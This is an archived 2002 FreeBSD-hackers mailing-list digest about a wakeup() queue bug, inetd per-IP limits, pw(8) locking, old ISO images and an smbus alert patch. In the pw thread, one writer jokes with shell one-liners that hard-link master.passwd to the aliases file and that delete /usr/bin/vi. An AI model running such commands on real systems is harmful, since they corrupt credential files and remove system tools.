(apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1C73637B407 for ; Sun, 23 Jun 2002 20:00:27 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5O30NCV089271; Sun, 23 Jun 2002 20:00:23 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5O30Nge089270; Sun, 23 Jun 2002 20:00:23 -0700 (PDT) (envelope-from dillon) Date: Sun, 23 Jun 2002 20:00:23 -0700 (PDT) From: Matthew Dillon Message-Id: <200206240300.g5O30Nge089270@apollo.backplane.com> To: Jonathan Lemon Cc: Julian Elischer , Jonathan Lemon , hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? References: <200206232158.g5NLw9c49030@prism.flugsvamp.com> <20020623213443.K91821@prism.flugsvamp.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :> I just added debug code in the TAILQ code that sets the forward pointor :> to -1. Since Matt had this it's possible that this is what hit him? : :Most definitely. If you reset tqe_next, the code stops working. Try :the patch below. :-- :Jonathan : :Index: kern_synch.c :=================================================================== :RCS file: /ncvs/src/sys/kern/kern_synch.c,v :retrieving revision 1.175 :diff -u -r1.175 kern_synch.c :--- kern_synch.c 7 Jun 2002 05:39:16 -0000 1.175 :+++ kern_synch.c 24 Jun 2002 02:42:40 -0000 :@@ -605,13 +605,14 @@ : register void *ident; :.. I already threw a quick fix into Julian's KSE tree. The real fix (Tor's patch) went into -current earlier today. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 20: 1:34 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 0B2BF37B43A for ; Sun, 23 Jun 2002 20:01:10 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5O315CV089290; Sun, 23 Jun 2002 20:01:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5O315Ow089287; Sun, 23 Jun 2002 20:01:05 -0700 (PDT) (envelope-from dillon) Date: Sun, 23 Jun 2002 20:01:05 -0700 (PDT) From: Matthew Dillon Message-Id: <200206240301.g5O315Ow089287@apollo.backplane.com> To: Julian Elischer Cc: Alfred Perlstein , freebsd-hackers@FreeBSD.ORG, Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :> the conditionally restarting rather then removing the element from the :> list and unconditionally restarting. The only reason it works at all :> is because sys/queue.h does not clear out the pointers in the node :> that was just removed. The code is just plain wrong, though, because :> the queue mechanisms make no such (documented) guarentee. : :ummmm Was this found because of my tailq debugging stuff :that sets the forward pointer to -1? : Yah, that's what found it. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 20:15:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from cheer.mahoroba.org (flets19-004.kamome.or.jp [218.45.19.4]) by hub.freebsd.org (Postfix) with ESMTP id 960EA37B409; Sun, 23 Jun 2002 20:15:37 -0700 (PDT) Received: from piano.mahoroba.org (IDENT:f6RvM/w6Di9xvvGOU3DjOCMKn5KZyKU0daqbg7g/dEwasyXev4UiMVN1EfY8YoiB@[IPv6:2002:d37e:1a7c::1]) (user=ume mech=CRAM-MD5 bits=0) by cheer.mahoroba.org (8.12.4/8.12.4) with ESMTP/inet6 id g5O3FMIk094064 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Jun 2002 12:15:28 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Mon, 24 Jun 2002 12:15:19 +0900 Message-ID: From: Hajimu UMEMOTO To: Terry Lambert Cc: Giorgos Keramidas , hackers@FreeBSD.org Subject: Re: Limiting clients per source IP address (ftpd, inetd, etc.) In-Reply-To: <3D129CA8.EFADA4FF@mindspring.com> References: <20020621000924.GA2178@hades.hell.gr> <3D129CA8.EFADA4FF@mindspring.com> User-Agent: xcite1.38> Wanderlust/2.9.13 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.2 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) X-Operating-System: FreeBSD 4.6-RELEASE MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, >>>>> On Thu, 20 Jun 2002 20:25:28 -0700 >>>>> Terry Lambert said: tlambert2> Giorgos Keramidas wrote: > I've been thinking for quite some time to add per-client-IP limiting > to ftpd, and I had almost decided upon something like the following, > where each child of ftpd has two numbers associated with it. The > client IP address, and the PID of the ftpd child that serves it. The > hash at the beginning of the lists serves as a minor assistance in > splitting the 2^32 address space in smaller chunks so that we don't > end up with a singly linked list of a few thousand entries. tlambert2> Someone just did something similar for inetd (per IP per port). Yes, it's me. I already rewrote my patch to use open hash as you mentioned. My patch is in testing on snapshots.jp.FreeBSD.org (thank you Matusita-san). You can find my patch from: http://www.imasy.or.jp/~ume/FreeBSD/inetd-perip-hash-5c.diff (for 5-CURRENT) http://www.imasy.or.jp/~ume/FreeBSD/inetd-perip-hash-4s.diff (for 4-STABLE) Sincerely, -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@{,jp.}FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 20:37:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id AB8FE37B401 for ; Sun, 23 Jun 2002 20:37:45 -0700 (PDT) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id HAA22591; Mon, 24 Jun 2002 07:38:50 +0400 (MSD) Message-Id: <200206240338.HAA22591@aaz.links.ru> Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623230923.GM81018@over-yonder.net> from "Matthew D. Fuller" at "Jun 23, 2 06:09:23 pm" To: fullermd@over-yonder.net (Matthew D. Fuller) Date: Mon, 24 Jun 2002 07:38:50 +0400 (MSD) Cc: pherman@frenchfries.net, geoff@sea-incorporated.com, freebsd-hackers@FreeBSD.ORG From: "."@babolo.ru MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew D. Fuller writes: ... > > Why use lockfiles, when we can lock files? Let's lock files and > > keep the snack bar open! :-) > > We are locking a file :) > We're just locking one file for the whole subsystem, so the pieces can be > assured of being in sync. Time to implement hierarchic lock. hlock dir lead to fail hlock every file in that dir with ref count == 1 ?? Extremly unefficient -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 20:40:19 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sccrmhc03.attbi.com (sccrmhc03.attbi.com [204.127.202.63]) by hub.freebsd.org (Postfix) with ESMTP id ED48637B401 for ; Sun, 23 Jun 2002 20:40:11 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by sccrmhc03.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020624034009.XVYZ20219.sccrmhc03.attbi.com@InterJet.elischer.org>; Mon, 24 Jun 2002 03:40:09 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id UAA49879; Sun, 23 Jun 2002 20:34:35 -0700 (PDT) Date: Sun, 23 Jun 2002 20:34:33 -0700 (PDT) From: Julian Elischer To: Jonathan Lemon Cc: dillon@apollo.backplane.com, hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? In-Reply-To: <20020623213443.K91821@prism.flugsvamp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG yep Matt added a similar patch to the KSE branch... the debug stuff I added to TAILQ adds (when compiled in) info on the last 2 places to to linkage operations.. it also initialises the pointers on elements to -1 it's great for helping find places that are screwing up linkages e.g. in the KSE run queues which are quite complicated :-) On Sun, 23 Jun 2002, Jonathan Lemon wrote: > On Sun, Jun 23, 2002 at 06:42:43PM -0700, Julian Elischer wrote: > > > > On Sun, 23 Jun 2002, Jonathan Lemon wrote: > > > The code works simply because it relies TAILQ_REMOVE() not changing > > > the tqe_next pointer. I suppose that this should either be documented, > > > or the loop changed back to use a temp variable: > > > > > > for (td = TAILQ_FIRST(qp); td != NULL; td = tdq) { > > > tdq = TAILQ_NEXT(td, td_slpq); > > > ... > > > } > > > > I just added debug code in the TAILQ code that sets the forward pointor > > to -1. Since Matt had this it's possible that this is what hit him? > > Most definitely. If you reset tqe_next, the code stops working. Try > the patch below. > -- > Jonathan > > > Index: kern_synch.c > =================================================================== > RCS file: /ncvs/src/sys/kern/kern_synch.c,v > retrieving revision 1.175 > diff -u -r1.175 kern_synch.c > --- kern_synch.c 7 Jun 2002 05:39:16 -0000 1.175 > +++ kern_synch.c 24 Jun 2002 02:42:40 -0000 > @@ -605,13 +605,14 @@ > register void *ident; > { > register struct slpquehead *qp; > - register struct thread *td; > + register struct thread *td, *tdn; > struct proc *p; > > mtx_lock_spin(&sched_lock); > qp = &slpque[LOOKUP(ident)]; > restart: > - TAILQ_FOREACH(td, qp, td_slpq) { > + for (td = TAILQ_FIRST(qp); td != NULL; td = tdn) { > + tdn = TAILQ_NEXT(td, td_slpq); > p = td->td_proc; > if (td->td_wchan == ident) { > TAILQ_REMOVE(qp, td, td_slpq); > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 21: 8:23 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sea-incorporated.com (caribbean.sea-incorporated.com [209.74.10.130]) by hub.freebsd.org (Postfix) with ESMTP id 1863337B401 for ; Sun, 23 Jun 2002 21:08:18 -0700 (PDT) Received: from sea-incorporated.com (localhost [127.0.0.1]) by sea-incorporated.com (8.12.3/8.12.3) with ESMTP id g5O46T0t031324; Mon, 24 Jun 2002 00:06:29 -0400 (EDT) (envelope-from geoff@sea-incorporated.com) Received: from localhost (geoff@localhost) by sea-incorporated.com (8.12.3/8.12.3/Submit) with ESMTP id g5O46SKj031321; Mon, 24 Jun 2002 00:06:29 -0400 (EDT) Date: Mon, 24 Jun 2002 00:06:28 -0400 (EDT) From: "Geoffrey C. Speicher" To: Paul Herman Cc: "Matthew D. Fuller" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623165244.X39062-100000@mammoth.eat.frenchfries.net> Message-ID: <20020623233731.L31276-100000@sea-incorporated.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Paul Herman wrote: > You see the problem as a deficiency in the implementation itself, > and wish to protect the user from shooting themselves in the foot. > > Not only do I think that's impossible[*], I choose to fight for my > right to shoot myself in the foot as quickly and efficiently as > possible, but that's where we'll disagree, and I'll just leave it > at that and wish you a good night's sleep. Not to be snooty, but there will always be plenty of ways for you to shoot yourself in the foot if you want to play that way. For regular users of pw(8) who don't want to get shot, it needs to be fixed when used within its intended bounds. As far as I'm concerned, it comes down to what is most feasible to implement correctly without an unreasonably large effort. In reality, it comes down to how a committer would like to see it work, since the committers are the ones who ultimately have to deal with and are responsible for the change. So we either need to have a compelling solution or get a committer to step in and make up our minds for us. Geoff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 21:48:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by hub.freebsd.org (Postfix) with ESMTP id CBABA37B400 for ; Sun, 23 Jun 2002 21:48:18 -0700 (PDT) Received: from user-vcauuho.dsl.mindspring.com ([216.175.122.56] helo=localhost) by granger.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17MLlr-0006Xu-00 for freebsd-hackers@FreeBSD.org; Mon, 24 Jun 2002 00:48:11 -0400 Date: Sun, 23 Jun 2002 21:48:26 -0700 Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Subject: subscribe From: Sheryl McKeown To: freebsd-hackers@FreeBSD.org Content-Transfer-Encoding: 7bit Message-Id: <9EDB27F4-872D-11D6-AFAD-0030657767CE@mckeownconsulting.com> X-Mailer: Apple Mail (2.482) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 23: 3:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from smurf.jnielsen.net (12-254-136-47.client.attbi.com [12.254.136.47]) by hub.freebsd.org (Postfix) with ESMTP id 9BF5037B400 for ; Sun, 23 Jun 2002 23:03:38 -0700 (PDT) Received: from max (max.local [192.168.0.9]) by smurf.jnielsen.net (8.12.3/8.12.3) with SMTP id g5O63ahf009455; Mon, 24 Jun 2002 00:03:37 -0600 (MDT) (envelope-from hackers@jnielsen.net) Message-ID: <00f701c21b44$e2dc9c30$0900a8c0@max> From: "John Nielsen" To: "Jefferson Harlough" , References: Subject: Re: FreeBSD 2.2.x ISO images. Date: Mon, 24 Jun 2002 00:03:39 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Jefferson Harlough" To: Sent: Sunday, June 23, 2002 12:19 PM Subject: FreeBSD 2.2.x ISO images. > Where might I find ISO images for the FreeBSD 2.2.x releases? Do such > files exist? > > I have an older system with a non-IDE Creative CD-ROM drive, and FreeBSD > 4.x seems to not support that drive any more. I do have several FreeBSD 3.x > releases, but they always hang with a kernel panic when booting via the > included bootdisks. Would the FreeBSD 2.2.x series of releases work with > such a CD-ROM drive? You CD-ROM is _probably_ usable under 4.x with one of either the mcd, scd, or matcd drivers. These have been removed from the GENERIC kernel, but are still available as options for a custom kernel. See their respective manpages (as well as LINT) for more info. JN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 2:28:24 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from nitrogen.wanadoo.fr (ca-sqy-1-235.abo.wanadoo.fr [80.8.54.235]) by hub.freebsd.org (Postfix) with ESMTP id D8FF737B405 for ; Mon, 24 Jun 2002 02:27:49 -0700 (PDT) Received: from nitrogen.wanadoo.fr (nitrogen [127.0.0.1]) by nitrogen.wanadoo.fr (8.12.3/8.12.3) with ESMTP id g5O9PaBi000820; Mon, 24 Jun 2002 11:25:36 +0200 (CEST) (envelope-from dak@nitrogen.wanadoo.fr) Received: (from dak@localhost) by nitrogen.wanadoo.fr (8.12.3/8.12.3/Submit) id g5O9PaAT000819; Mon, 24 Jun 2002 11:25:36 +0200 (CEST) Date: Mon, 24 Jun 2002 11:25:35 +0200 From: dak To: John Nielsen , hackers@freebsd.org Subject: Re: FreeBSD 2.2.x ISO images. Message-ID: <20020624092535.GA748@nitrogen> References: <00f701c21b44$e2dc9c30$0900a8c0@max> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00f701c21b44$e2dc9c30$0900a8c0@max> User-Agent: Mutt/1.5.1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, You can find many old images here: http://www.freebsdmirrors.org/FBSDsites.php3?showi386ISO=do (I don't have checked the links yet :p) -- dak On Mon, Jun 24, 2002 at 12:03:39AM -0600, John Nielsen wrote: > ----- Original Message ----- > From: "Jefferson Harlough" > To: > Sent: Sunday, June 23, 2002 12:19 PM > Subject: FreeBSD 2.2.x ISO images. > > > > Where might I find ISO images for the FreeBSD 2.2.x releases? Do such > > files exist? > > > > I have an older system with a non-IDE Creative CD-ROM drive, and FreeBSD > > 4.x seems to not support that drive any more. I do have several FreeBSD > 3.x > > releases, but they always hang with a kernel panic when booting via the > > included bootdisks. Would the FreeBSD 2.2.x series of releases work with > > such a CD-ROM drive? > > You CD-ROM is _probably_ usable under 4.x with one of either the mcd, scd, > or matcd drivers. These have been removed from the GENERIC kernel, but are > still available as options for a custom kernel. See their respective > manpages (as well as LINT) for more info. > > JN > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Windows: "WARNING: System has detected that instruction 0xf00fc7c8 will be executed in a moment..." (c) dak To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 5:32:23 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id DD2CB37B401 for ; Mon, 24 Jun 2002 05:32:16 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5OBctB18133; Mon, 24 Jun 2002 06:38:57 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id C06311F05; Mon, 24 Jun 2002 07:32:10 -0500 (CDT) Date: Mon, 24 Jun 2002 07:32:10 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020624123210.GA59373@over-yonder.net> References: <20020623230923.GM81018@over-yonder.net> <20020623165244.X39062-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623165244.X39062-100000@mammoth.eat.frenchfries.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 05:14:58PM -0700 I heard the voice of Paul Herman, and lo! it spake thus: > > Clearly, at the root of our disagreement is what we both perceive > the problem to be. Oh, certainly; that's what makes it fun :) > I don't see problems in the current implementation, aside from bugs > that lead to unexpected behavior, i.e. passwd file corruption. > You see the problem as a deficiency in the implementation itself, > and wish to protect the user from shooting themselves in the foot. Well, we're in violent agreement on the first one. I'm just using that as an opportunity to smack down the second and kill two birds with one stone. > Not only do I think that's impossible[*], I choose to fight for my > right to shoot myself in the foot as quickly and efficiently as > possible, but that's where we'll disagree, and I'll just leave it > at that and wish you a good night's sleep. Wouldn't work; the determined foot-screwer would simply "cd /etc && mv aliases somethingelse && ln master.passwd aliases && vi aliases". Since we don't have mandatory file locking, it's neither possible nor my intention to prevent people from doing things intentionally; I'm just trying to remove the ways they can do it accidentally using the tools we provide. I'm all for leaving options for people to intentionally de-toe, or convince the system that they know what they're doing while they shoot caterpillars between their toes. Your approach will (I think; I haven't tested, so it's tough to be sure) solve the problem that sparked this, which is that pw(8) has a race condition allowing multiple invocations to step up each other's toes. However, it doesn't do anything about the larger problem of maintaining consistency in the passwd subsystem as a whole, which is where I'm aiming. I also think my approach (once documented, at any rate) would jump out a bit more at people writing programs that adjust the auth information. And, additionally, we took the opportunity to take one MORE step back from the problem, and implement the pid_*() functions which abstract the implementation of this sort of locking, making is easy to apply in other places. Besides, this is a codeocracy; I changed more lines of code than you did, to say nothing of a MANPAGE! My solution MUST be better! 8-} > [*] Patch to vi refusing to edit filenames containing > "master.passwd" withheld by request. ;-) rm -f /usr/bin/vi && ln -s /usr/local/bin/pico /usr/bin/vi That'll shake people up enough that they won't edit anything. I know it would have ME waking up screaming... -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 5:41:32 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id D177C37B42F for ; Mon, 24 Jun 2002 05:40:51 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5OBlNB18273; Mon, 24 Jun 2002 06:47:23 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 3F0491F05; Mon, 24 Jun 2002 07:40:39 -0500 (CDT) Date: Mon, 24 Jun 2002 07:40:39 -0500 From: "Matthew D. Fuller" To: Terry Lambert Cc: Paul Herman , "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020624124039.GB59373@over-yonder.net> References: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> <3D1662CC.FE6F6D49@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D1662CC.FE6F6D49@mindspring.com> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 05:07:40PM -0700 I heard the voice of Terry Lambert, and lo! it spake thus: > > The problem with your proposed patch is that it breaks the > ability to allow authentication against the database while > it is undergoing modification, which may be a prolonged period. Would it? For starters, this locks master.passwd, not spwd.db, so any well-behaved program that used getpw*() like a good little monkey wouldn't even notice it. In fact, with Paul's change and the rename() alteration, it'd be BETTER for programs that tried to parse master.passwd, because as it currently stands, there are times when it's incomplete (because of the line-by-line copy, which caused us both a few moments of illness when we noticed it). -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 6: 0:48 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from atlantis.homeip.net (a30032.upc-a.chello.nl [62.163.30.32]) by hub.freebsd.org (Postfix) with SMTP id DFEEF37B400 for ; Mon, 24 Jun 2002 06:00:39 -0700 (PDT) Received: (qmail 89019 invoked from network); 24 Jun 2002 13:00:41 -0000 Received: from jeremy.ourhome.nl (192.168.1.4) by atlantis.ourhome.nl with SMTP; 24 Jun 2002 13:00:41 -0000 Date: Mon, 24 Jun 2002 14:59:21 +0200 From: Willem van Engen To: freebsd-hackers@freebsd.org Subject: smbalert# hook for smbus childs Message-Id: <20020624145921.463108fc.wvengen@stack.nl> X-Mailer: Sylpheed version 0.7.8 (GTK+ 1.2.10; i386-portbld-freebsd5.0) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Mon__24_Jun_2002_14:59:21_+0200_0843ac00" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --Multipart_Mon__24_Jun_2002_14:59:21_+0200_0843ac00 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello, there already is some code for smbalert# handling on intpm (ENABLE_ALART), but there is no support for handling it in a driver. O2 AudioDJ (OZ162) chips use this signal to indicate that a button was pressed. So I need a way for a driver to be notified when smbalert# occurs. Of course I thought immediately about bus_(setup|teardown)_intr. I wrote something like that for smbus: bus_(setup|teardown)_alart (see patch), that works now. But is this The Right Way to do it? I do have some thoughts on it, but maybe someone more knowledgeable than me could comment on it. It might be better to use bus_*_intr instead of bus_*_alart, but one would need to bus_alloc_resource a slave address and pass that to bus_setup_intr. But then it makes sense to use those slave address resources to send smbus commands, right? But how would that fit into the bus_space_* functions? - Willem p.s. I hope I'm clear, english isn't my native language. --Multipart_Mon__24_Jun_2002_14:59:21_+0200_0843ac00 Content-Type: text/plain; name="smbus_alart.diff" Content-Disposition: attachment; filename="smbus_alart.diff" Content-Transfer-Encoding: base64 LS0tIHN5cy9kZXYvc21idXMvc21iY29uZi5jLm9yaWcJTW9uIEp1biAyNCAwMjozNjoyNSAyMDAy CisrKyBzeXMvZGV2L3NtYnVzL3NtYmNvbmYuYwlNb24gSnVuIDI0IDExOjAwOjExIDIwMDIKQEAg LTI4LDYgKzI4LDkgQEAKICAqLwogI2luY2x1ZGUgPHN5cy9wYXJhbS5oPgogI2luY2x1ZGUgPHN5 cy9zeXN0bS5oPgorI2luY2x1ZGUgPHN5cy9tYWxsb2MuaD4KKyNpbmNsdWRlIDxzeXMva2VybmVs Lmg+CisjaW5jbHVkZSA8c3lzL2t0aHJlYWQuaD4KICNpbmNsdWRlIDxzeXMvbW9kdWxlLmg+CiAj aW5jbHVkZSA8c3lzL2J1cy5oPgogCkBAIC0zNSw2ICszOCwxMiBAQAogI2luY2x1ZGUgPGRldi9z bWJ1cy9zbWJ1cy5oPgogI2luY2x1ZGUgInNtYnVzX2lmLmgiCiAKKyNpZmRlZiBFTkFCTEVfQUxB UlQKKy8qIExpc3QgZm9yIGFsYXJ0IGhvb2tzIHBlciBzbGF2ZSAqLworZXh0ZXJuIFNMSVNUX0hF QUQoYWxhcnRob29rX2hlYWQsIGFsYXJ0aG9va19lbnRyeSkgYWxhcnRob29rczsKKyNlbmRpZgor CisKIC8qCiAgKiBzbWJ1c19pbnRyKCkKICAqLwpAQCAtMTc0LDMgKzE4Myw3MCBAQAogCiAJcmV0 dXJuICgwKTsKIH0KKworI2lmZGVmIEVOQUJMRV9BTEFSVAorCitNQUxMT0NfREVGSU5FKE1fU01C VVNfQUxBUlQsICJzbWJ1c2FsYXJ0IiwgIlNNQnVzIGFsYXJ0IGhvb2sgbGlzdCIpOworCisvKgor ICogc21idXNfc2V0dXBfYWxhcnQoKQorICovCitpbnQKK3NtYnVzX3NldHVwX2FsYXJ0KGRldmlj ZV90IGRldiwgdV9jaGFyIHNsYXZlLCBpbnQgZmxhZ3MsCisJCQlkcml2ZXJfaW50cl90ICpoYW5k bGVyLCB2b2lkICphcmcpCit7CisJc3RydWN0IGFsYXJ0aG9va19lbnRyeSAqZW50cnk7CisKKwkv KiBDaGVjayBpZiBzYW1lIGhvb2sgYWxyZWFkeSBleGlzdHMgKi8KKwlTTElTVF9GT1JFQUNIKGVu dHJ5LCAmYWxhcnRob29rcywgZW50cmllcykKKwkJaWYgKGVudHJ5LT5kZXYgPT0gZGV2ICYmIGVu dHJ5LT5zbGF2ZSA9PSBzbGF2ZSkKKwkJCXJldHVybiAoRUFERFJJTlVTRSk7CisKKwkvKiBBZGQg dGhpcyBvbmUgdG8gdGhlIGxpc3QgKi8KKwlNQUxMT0MoZW50cnksIHN0cnVjdCBhbGFydGhvb2tf ZW50cnkqLAorCQlzaXplb2Yoc3RydWN0IGFsYXJ0aG9va19lbnRyeSksIE1fU01CVVNfQUxBUlQs 